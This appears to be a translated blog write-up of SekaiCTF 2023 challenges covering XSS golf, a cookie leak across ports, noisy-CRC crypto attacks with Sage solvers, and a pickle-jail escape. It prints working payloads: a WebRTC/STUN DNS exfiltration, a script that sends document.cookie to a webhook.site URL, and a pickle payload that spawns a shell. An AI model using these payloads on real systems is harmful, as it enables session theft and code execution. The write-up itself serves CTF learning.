廢文集中區

SekaiCTF 2023 WriteUps

發表於
分類於 CTF
中文版

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This time, I participated in ${CyStick} and achieved fourth place, mainly solving a few Web and Crypto challenges, and one Pyjail challenge.

Web

Golf Jail

The challenge is very simple:

<?php
    header("Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';");
    header("Cross-Origin-Opener-Policy: same-origin");

    $payload = "🚩🚩🚩";
    if (isset($_GET["xss"]) && is_string($_GET["xss"]) && strlen($_GET["xss"]) <= 30) {
        $payload = $_GET["xss"];
    }

    $flag = "SEKAI{test_flag}";
    if (isset($_COOKIE["flag"]) && is_string($_COOKIE["flag"])) {
        $flag = $_COOKIE["flag"];
    }
?>
<!DOCTYPE html>
<html>
    <body>
        <iframe
            sandbox="allow-scripts"
            srcdoc="<!-- <?php echo htmlspecialchars($flag) ?> --><div><?php echo htmlspecialchars($payload); ?></div>"
        ></iframe>
    </body>
</html>

In short, you can perform arbitrary XSS in a sandboxed iframe, but the length is limited to 30 characters, and you need to find a way to bypass the restriction to send the flag out.

Initially, a teammate discovered that using eval baseURI could achieve arbitrary XSS. This is because the scope of inline event handlers includes all attributes of the current element (equivalent to with(element) { ... }), so <svg/onload=eval('`'+baseURI)> can achieve arbitrary XSS. For the URL part, just piece together some characters.

Next, to get the flag, since the comment is not within <html> (document.documentElement), it is harder to retrieve. A teammate found that document.childNodes[0].nodeValue.trim() could retrieve it.

Due to CSP and sandbox restrictions, we couldn't use normal methods (fetch, redirect, open) to send the flag out. However, the browser's WebRTC feature can be utilized to send DNS requests externally. (Ref #1, #2)

Specifically, it looks something like this:

pc = new RTCPeerConnection({iceServers: [{'url': 'stun:f82kndi.q.dnsl0g.net:19302'}]})
pc.createDataChannel('d')
pc.setLocalDescription()

Finally, string everything together:

https://golfjail.chals.sekai.team/?`;d=new[window.URL][0](document.body.baseURI).searchParams.get(`h`);console.log(d);eval(d)//&xss=%3Csvg/onload=eval(%27%60%27%2bbaseURI)%3E&h=console.log(123);pc%20=%20new%20RTCPeerConnection({iceServers:%20[{%27url%27:%20%27stun:%27%2B[...document.childNodes[0].nodeValue.trim()].map(c=%3Ec.charCodeAt(0)).map(c=%3Ec.toString(16).padStart(2,%270%27)).join(%27%27).slice(60,80)%2B%27.o4ns16y.q.dnsl0g.net:19302%27,}]});pc.createDataChannel(%27d%27);pc.setLocalDescription();

In practice, due to DNS restrictions being case-insensitive, I first converted the flag to hex, and then leaked it in segments due to length constraints.

Flag: SEKAI{jsjails_4re_b3tter_th4n_pyjai1s!}

Leakless Note

I solved this challenge using a 100% unintended method. Several web challenges in this CTF shared the same IP, and this challenge's https://leaklessnote.chals.sekai.team/ and another challenge's http://chunky.chals.sekai.team:8080 (Chunky) were among them. After some testing, I found that I could access Chunky's service through http://leaklessnote.chals.sekai.team:8080. Chunky had a very simple XSS vulnerability, so what could I do?

Since http://leaklessnote.chals.sekai.team:8080 and https://leaklessnote.chals.sekai.team/ have different schemes, they are neither Same-Site nor Same-Origin. Therefore, I couldn't use XSS to embed an iframe without sending cookies (not Same-Site), and using window.open couldn't directly manipulate it (not Same-Origin). Initially, I didn't think of how to use this.

After a long time, I realized that https://leaklessnote.chals.sekai.team/'s cookie was PHP's default session_start() (i.e., PHPSESSID), which by default is neither Secure nor HttpOnly. Since cookies are not port-specific, I could read PHPSESSID through document.cookie on http://leaklessnote.chals.sekai.team:8080 XDDDDD.

Finally, I just performed XSS on the Chunky challenge:

<script>(new Image).src='https://webhook.site/597070cc-00d3-44eb-adc1-c6fd3443170b?'+document.cookie</script>

Then, let the Leakless Note Admin Bot visit http://leaklessnote.chals.sekai.team:8080/path/to/xss/....

Flag: SEKAI{opleakerorz}

Crypto

Noisy CRC

import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256

from flag import FLAG

def getCRC16(msg, gen_poly):
	assert (1 << 16) <= gen_poly < (1 << 17)  # check if deg = 16
	msglen = msg.bit_length()

	msg <<= 16
	for i in range(msglen - 1, -1, -1):
		if (msg >> (i + 16)) & 1:
			msg ^= (gen_poly << i)

	return msg

def oracle(secret, gen_poly):
	res = [secrets.randbits(16) for _ in range(3)] 
	res[secrets.randbelow(3)] = getCRC16(secret, gen_poly)
	return res


def main():
	key = secrets.randbits(512)
	cipher = AES.new(sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678")
	enc_flag = cipher.encrypt(FLAG)
	print(f"Encrypted flag: {enc_flag.hex()}")

	used = set({})

	while True:
		gen_poly = int(input("Give me your generator polynomial: "))
		assert (1 << 16) <= gen_poly < (1 << 17)  # check if deg = 16

		if gen_poly in used:
			print("No cheating")
			exit(1)

		used.add(gen_poly)

		print(oracle(key, gen_poly))

main()

This CRC challenge is simple, just x16Mmod  Gx^{16} M \mod{G}, where GG is gen_poly and MM is msg. The oracle allows you to specify a GG and then calculates CRC⁡(M,G)\operatorname{CRC}(M,G) mixed with two other unknown values, so this CRC oracle is noisy.

If you can repeatedly use the same GG to query, finding the intersection of two results gives the correct CRC⁡(M,G)\operatorname{CRC}(M,G), which can be multiplied by x−16x^{-16} (assuming invertible) to get Mmod  GM \mod{G}. Collecting enough CRC⁡(M,Gi),Gi\operatorname{CRC}(M,G_i),G_i allows using CRT to get MM. However, since repeating GG is prohibited, what can be done?

The intended solution is to exploit the fact that it doesn't check if GG is a primitive polynomial. You can choose a primitive ff, then send g1fg_1f and g2fg_2f, and then reduce the returned values modulo ff and find the intersection to get Mmod  fM \mod f.

However, I solved it differently, considering only the case where GG is a primitive polynomial. In this case, we know Mmod  GiM \mod G_i has three possibilities, denoted as ri,1,ri,2,ri,3r_{i,1}, r_{i,2}, r_{i,3}, called Noisy CRT.

We know that CRT ultimately involves linear combinations, so we can calculate a coefficient TiT_i for each GiG_i as:

Ti≡1(modni)Ti≡0(modnj≠i)\begin{aligned} T_i &\equiv 1 \pmod{n_i} \\ T_i &\equiv 0 \pmod{n_{j \neq i}} \end{aligned}

Then we have

M≡∑iTi(∑j=13ai,jri,j)(modL)M \equiv \sum_i T_i (\sum_{j=1}^{3} a_{i,j} r_{i,j}) \pmod{L}

where L=lcm⁡(Gi)L=\operatorname{lcm}(G_i), and ai,ja_{i,j} is either 00 or 11, indicating which Mmod  GiM \mod{G_i} is correct. Expanding this becomes a subset sum problem, and since each element is a polynomial in F2\mathbb{F}_2, it can be converted to a matrix.

For this challenge, if we make nn queries, we get a large matrix AA of size 3n×16n3n \times 16n, and there exists a vector s⃗\vec{s} such that s⃗A=k⃗\vec{s}A=\vec{k}, where k⃗\vec{k} is our key, i.e., MM.

Since the key is only 512 bits, with my LSB on the left notation, k⃗\vec{k}'s 512th dimension onwards are 00. Therefore, we can take AA's 512 columns and find the left kernel, ensuring s⃗\vec{s} is in this kernel.

To find k⃗\vec{k}, we want the kernel dimension to be very small. Testing shows that the larger nn is, the smaller the kernel dimension, and n≥40n \geq 40 ensures the kernel dimension is 1, guaranteeing a unique s⃗\vec{s}, thus decrypting the flag.

This n=40n=40 is not arbitrary but is the smallest positive integer satisfying 16n−512>3n16n-512 > 3n, maximizing the rank of the sliced AA.

In the code below, mat is AA, and sol is s⃗\vec{s}:

from sage.all import *
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from pwn import process, remote
import ast


def int2bv(i, n):
    return list(map(int, f"{i:0{n}b}"))[::-1]


def bv2int(bv):
    return sum([int(b) << i for i, b in enumerate(bv)])


R = GF(2)["x"]
x = R.gen()


def int2poly(i):
    return R(int2bv(i, 17))


def get_polys(extra):
    polys = set()
    while len(polys) < 512 // 16 + extra:
        while True:
            f = R.random_element(16)
            if f.is_irreducible():
                polys.add(f)
                break
    return list(polys)


extra = 8
polys = get_polys(extra)
int_polys = [bv2int(f) for f in polys]


# io = process(["python", "chall.py"])
io = remote("chals.sekai.team", 3005)
io.recvuntil(b"flag: ")
enc_flag = bytes.fromhex(io.recvlineS().strip())

io.sendline("\n".join(map(str, int_polys)).encode())

results = []
for G in polys:
    io.recvuntil(b"polynomial: ")
    res = ast.literal_eval(io.recvlineS().strip())
    results.append((G, res))


residues = []
for G, res in results:
    iv = (x**16).inverse_mod(G)
    ress = [iv * int2poly(r) % G for r in res]
    residues.append(ress)

T = [crt([0] * i + [1] + [0] * (len(polys) - i - 1), polys) for i in range(len(polys))]
P = prod(polys)
arr = []
for i in range(len(polys)):
    for res in residues[i]:
        arr.append(T[i] * res % P)
ln = len(polys) * 16
mat = matrix([x.padded_list(ln) for x in arr])
sol = mat[:, -16 * extra :].left_kernel_matrix()[0]
key = bv2int(sol * mat)
cipher = AES.new(
    sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678"
)
print(cipher.decrypt(enc_flag))
# SEKAI{CrCrCRcRCRcrcrcRCrCrC}

Noisier CRC

import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256

from flag import FLAG

isIrreducible = [True for i in range(1 << 17)]

def init():
	for f in range(2, 1 << 17):
		if isIrreducible[f]:
			ls = [0] # store all multiples of polynomial `f`
			cur_term = f
			while cur_term < (1 << 17):
				ls = ls + [x ^ cur_term for x in ls]
				cur_term <<= 1

			for g in ls[2:]:  # the first two terms are 0, f respectively
				isIrreducible[g] = False

def getCRC16(msg, gen_poly):
	assert (1 << 16) <= gen_poly < (1 << 17)  # check if deg = 16
	msglen = msg.bit_length()

	msg <<= 16
	for i in range(msglen - 1, -1, -1):
		if (msg >> (i + 16)) & 1:
			msg ^= (gen_poly << i)

	return msg

def oracle(secret, gen_poly):
	l = int(13.37)
	res = [secrets.randbits(16) for _ in range(l)] 
	res[secrets.randbelow(l)] = getCRC16(secret, gen_poly)
	return res


def main():
	init()  # build table of irreducible polynomials

	key = secrets.randbits(512)
	cipher = AES.new(sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678")
	enc_flag = cipher.encrypt(FLAG)
	print(f"Encrypted flag: {enc_flag.hex()}")

	used = set({})

	for _ in range(int(133.7)):
		gen_poly = int(input("Give me your generator polynomial: "))
		assert (1 << 16) <= gen_poly < (1 << 17)  # check if deg = 16
		if not isIrreducible[gen_poly]:
			print("Invalid polynomial")
			exit(1)

		if gen_poly in used:
			print("No cheating")
			exit(1)

		used.add(gen_poly)

		print(oracle(key, gen_poly))

main()

Similar to the previous challenge, but this time, besides requiring GG to be primitive, the oracle's return value is even noisier (12/1312/13), and only 133 queries are allowed.

Using the same method, we need to find the smallest positive integer satisfying 16n−512>13n16n-512>13n, which is 171171, meaning at least n=171n=171 is needed to find a unique solution using the previous method.

With only n=133n=133 allowed, testing shows that the sliced AA (i.e., mat[:, -16 * extra :]) has a left kernel (MkM_k) dimension of 113113, exactly 13n−(16n−512)13n-(16n-512). To find s⃗\vec{s}, we need to brute-force about 21332^{133} times, which is infeasible.

The key is to realize that s⃗\vec{s} is not a completely random vector. It represents

M≡∑iTi(∑j=113ai,jri,j)(modL)M \equiv \sum_i T_i (\sum_{j=1}^{13} a_{i,j} r_{i,j}) \pmod{L}

where ai,ja_{i,j}, although having a dimension of 13n13n, only has nn positions as 11, and the rest are 00. So, we can randomly select some dimensions, guess those positions as 00, and then find the left kernel of the sliced MkM_k, finally multiplying it back to the original MkM_k to get s⃗\vec{s}.

Since the kernel dimension is 113113, we need at least 113113 guesses, roughly estimating to 13 bits, which is feasible:

−log⁡2(1213)113≈13-\log_2{(\frac{12}{13})^{113}} \approx 13

However, in practice, each brute-forced result is not the unique s⃗\vec{s} but a subspace spanned by s⃗\vec{s}, which is small. Fortunately, these subspaces have low dimensions, and filtering a few smaller subspaces and brute-forcing can find s⃗\vec{s}.

from sage.all import *
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from pwn import process, remote
import ast
import itertools
from tqdm import tqdm
import random


def int2bv(i, n):
    return list(map(int, f"{i:0{n}b}"))[::-1]


def bv2int(bv):
    return sum([int(b) << i for i, b in enumerate(bv)])


R = GF(2)["x"]
x = R.gen()


def int2poly(i):
    return R(int2bv(i, 17))


isIrreducible = [True for i in range(1 << 17)]


def init():
    for f in range(2, 1 << 17):
        if isIrreducible[f]:
            ls = [0]  # store all multiples of polynomial `f`
            cur_term = f
            while cur_term < (1 << 17):
                ls = ls + [x ^ cur_term for x in ls]
                cur_term <<= 1

            for g in ls[2:]:  # the first two terms are 0, f respectively
                isIrreducible[g] = False


init()
irr = [i for i, b in enumerate(isIrreducible) if b and (1 << 16) <= i]


def get_polys(n):
    start = 15
    return [int2poly(i) for i in irr[start : start + n]]


extra = 133
polys = get_polys(extra)
extra -= 512 // 16
print(len(polys))
int_polys = [bv2int(f) for f in polys]


# io = process(["python", "chall.py"])
io = remote("chals.sekai.team", 3006)
io.recvuntil(b"flag: ")
enc_flag = bytes.fromhex(io.recvlineS().strip())

io.sendline("\n".join(map(str, int_polys)).encode())

results = []
for G in polys:
    io.recvuntil(b"polynomial: ")
    res = ast.literal_eval(io.recvlineS().strip())
    results.append((G, res))


residues = []
for G, res in results:
    iv = (x**16).inverse_mod(G)
    ress = [iv * int2poly(r) % G for r in res]
    residues.append(ress)

T = [crt([0] * i + [1] + [0] * (len(polys) - i - 1), polys) for i in range(len(polys))]
P = prod(polys)
arr = []
for i in range(len(polys)):
    for res in residues[i]:
        arr.append(T[i] * res % P)
ln = len(polys) * 16
mat = matrix([x.padded_list(ln) for x in arr])

ker = mat[:, -16 * extra :].left_kernel_matrix()
print(ker.dimensions())
# for i in tqdm(
#     itertools.product(range(2), repeat=ker.dimensions()[0]),
#     total=2 ** ker.dimensions()[0],
# ):
#     sol = vector(i) * ker
#     key = bv2int(sol * mat)
#     cipher = AES.new(
#         sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678"
#     )
#     flag = cipher.decrypt(enc_flag)
#     if flag.isascii():
#         print(flag)


# -log((12/13)**113,2).n() ~= 13


def brute(id):
    r = random.Random(secrets.token_bytes(16))
    attempts = 0
    while True:
        attempts += 1
        if attempts % 100 == 0:
            print(id, attempts)
        sidx = []
        for i in range(0, 13 * 113, 13):
            sidx.append(r.choice(range(i, i + 13)))
        sidx = tuple(sidx)
        lk = ker[:, sidx].left_kernel_matrix()
        print(lk.dimensions())
        if lk.dimensions()[0] > 8:
            continue
        sol_space = lk * ker
        for i in itertools.product(range(2), repeat=sol_space.nrows()):
            sol = vector(i) * sol_space
            key = bv2int(sol * mat)
            cipher = AES.new(
                sha256(long_to_bytes(key)).digest()[:16],
                AES.MODE_CTR,
                nonce=b"12345678",
            )
            flag = cipher.decrypt(enc_flag)
            if flag.isascii():
                while True:
                    # to ensure that the flag will not be overwritten by other processes :)
                    print(flag)
                break
        else:
            continue
        break


from concurrent.futures import ProcessPoolExecutor

with ProcessPoolExecutor(max_workers=4) as executor:
    executor.map(brute, range(4))
# SEKAI{4R3_Y0U_cRc_M4s73R?}

Later, I asked the author Utaha and found out that s⃗\vec{s} actually contains more information. In the loop constructing $A (mat`):

arr = []
for i in range(len(polys)):
    for res in residues[i]:
        arr.append(T[i] * res % P)

If s⃗\vec{s} is grouped into 1313 groups, each group has only one 11. So, s⃗\vec{s}'s form is:

s⃗=b⃗+∑i=112nxivi⃗\vec{s}=\vec{b}+\sum_{i=1}^{12n}x_i\vec{v_i}

where the vectors are defined as:

b⃗=[1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,⋯ ]v1⃗=[1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,⋯ ]v2⃗=[1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,⋯ ]v3⃗=[1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,⋯ ]⋮v13⃗=[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,⋯ ]v14⃗=[0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,⋯ ]⋮\begin{aligned} \vec{b} =&[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, \cdots] \\ \vec{v_1}=&[1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \cdots] \\ \vec{v_2}=&[1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \cdots] \\ \vec{v_3}=&[1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \cdots] \\ &\vdots \\ \vec{v_{13}}=&[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, \cdots] \\ \vec{v_{14}}=&[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, \cdots] \\ &\vdots \end{aligned}

Notice that s⃗\vec{s} defined this way is in a 12n12n linear space, nn less than the original 13n13n, filling the kernel dimension issue.

Define A′A' as the submatrix of AA after 512 columns, and VV as the matrix of viv_i row vectors, then:

s⃗A′=0s⃗=b⃗+x⃗V(b⃗+x⃗V)A′=0x(VA′)=−b⃗A′\begin{gather*} \vec{s}A'=0 \\ \vec{s}=\vec{b}+\vec{x}V \\ (\vec{b}+\vec{x}V)A'=0 \\ x(VA')=-\vec{b}A' \end{gather*}

Solving this directly gives xx. In practice, VA′VA''s left kernel still exists but with low dimensions. Although I don't know why, brute-forcing can find x⃗\vec{x}, thus finding s⃗\vec{s} and k⃗\vec{k} to get the flag.

from sage.all import *
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from pwn import process, remote
import ast
import itertools
from tqdm import tqdm, trange
import random


def int2bv(i, n):
    return list(map(int, f"{i:0{n}b}"))[::-1]


def bv2int(bv):
    return sum([int(b) << i for i, b in enumerate(bv)])


R = GF(2)["x"]
x = R.gen()


def int2poly(i):
    return R(int2bv(i, 17))


isIrreducible = [True for i in range(1 << 17)]


def init():
    for f in range(2, 1 << 17):
        if isIrreducible[f]:
            ls = [0]  # store all multiples of polynomial `f`
            cur_term = f
            while cur_term < (1 << 17):
                ls = ls + [x ^ cur_term for x in ls]
                cur_term <<= 1

            for g in ls[2:]:  # the first two terms are 0, f respectively
                isIrreducible[g] = False


init()
irr = [i for i, b in enumerate(isIrreducible) if b and (1 << 16) <= i]


def get_polys(n):
    start = 15
    return [int2poly(i) for i in irr[start : start + n]]


total = 133
polys = get_polys(total)
extra = total - 512 // 16
print(len(polys))
int_polys = [bv2int(f) for f in polys]


# io = process(["python", "chall.py"])
io = remote("chals.sekai.team", 3006)
io.recvuntil(b"flag: ")
enc_flag = bytes.fromhex(io.recvlineS().strip())

io.sendline("\n".join(map(str, int_polys)).encode())

results = []
for G in polys:
    io.recvuntil(b"polynomial: ")
    res = ast.literal_eval(io.recvlineS().strip())
    results.append((G, res))


residues = []
for G, res in results:
    iv = (x**16).inverse_mod(G)
    ress = [iv * int2poly(r) % G for r in res]
    residues.append(ress)

T = [crt([0] * i + [1] + [0] * (len(polys) - i - 1), polys) for i in range(len(polys))]
P = prod(polys)
arr = []
for i in range(len(polys)):
    for res in residues[i]:
        arr.append(T[i] * res % P)
ln = len(polys) * 16
mat = matrix([x.padded_list(ln) for x in arr])

ker = mat[:, -16 * extra :].left_kernel_matrix()
print(ker.dimensions())  # not zero :(

# with Utaha's idea
# sol would be in the form of
#       [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, ...]
# + ? * [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...]
# + ? * [1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...]
# ...
# + ? * [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, ...]
# + ? * [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, ...]
# ...
# so sol-base would be in 12*133 dim space instead of 13*133 dim space

F = GF(2)
vecs = []
for i in trange(total):
    for j in range(13 - 1):
        v = vector(F, [0] * total * 13)
        v[13 * i] = 1
        v[13 * i + j + 1] = 1
        vecs.append(v)
V = matrix(vecs)
base = vector(F, [0] * total * 13)
for i in range(total):
    base[13 * i] = 1

"""
A'=mat[:, 512:]
sA'=0
s=b+xV
(b+xV)A'=0
x(VA')=-bA'
"""

Ap = mat[:, 512:]
rhs = -base * Ap
lhs = V * Ap
x0 = lhs.solve_left(rhs)
lk = lhs.left_kernel_matrix()
print(lk.dimensions())
for i in itertools.product([0, 1], repeat=lk.nrows()):
    x = x0 + vector(i) * lk
    sol = x * V + base
    key = bv2int(sol * mat)
    cipher = AES.new(
        sha256(long_to_bytes(key)).digest()[:16],
        AES.MODE_CTR,
        nonce=b"12345678",
    )
    flag = cipher.decrypt(enc_flag)
    if flag.isascii():
        print(flag)
        print(i)  # but for a overwhleming majority of cases, this is (0, 0, 0, ...)
        break
# SEKAI{4R3_Y0U_cRc_M4s73R?}

Misc

Just Another Pickle Jail

A long pickle jail code, not wanting to paste or explain :P

Directly throwing the exploit:

import sys

sys.path.insert(0, "./Pickora")

from pickora import Compiler
import pickletools

def unary(result_name, fn_name, arg_name):
    return f"""__builtins__['next'] = {fn_name}
up._buffers = {arg_name}
{result_name} = NEXT_BUFFER()
"""

pk = Compiler().compile(
    f"""
from x import Unpickler, __main__, __builtins__, up
BUILD(__main__,__builtins__,None)
from x import getattr, print, vars, dir, object, type, dict, list

{unary('val', 'vars', 'dict')}
BUILD(__main__,val,None)
from x import values as dictvalues

{unary('val', 'vars', 'list')}
BUILD(__main__,val,None)
from x import pop as listpop

{unary('val', 'vars', 'list')}
BUILD(__main__,val,None)
from x import reverse as listreverse

{unary('bl', 'dictvalues', '__builtins__')}
{unary('bl', 'list', 'bl')}
{unary('_', 'listreverse', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}

s = 'object.mgk.nested.__import__("os").system("sh")'
{unary('val', 'val', 's')}
"""
)
print(pk.hex())
# (python gen.py; cat) | nc chals.sekai.team 5077
# SEKAI{Pls_dm_me_your_solution!!!!!_PLS_PLS_PLS_PLS_PLS_PLS_10a429da9dc989a9a30c9d129b8e66abd63749854f80fb23379e5598cba1daaa}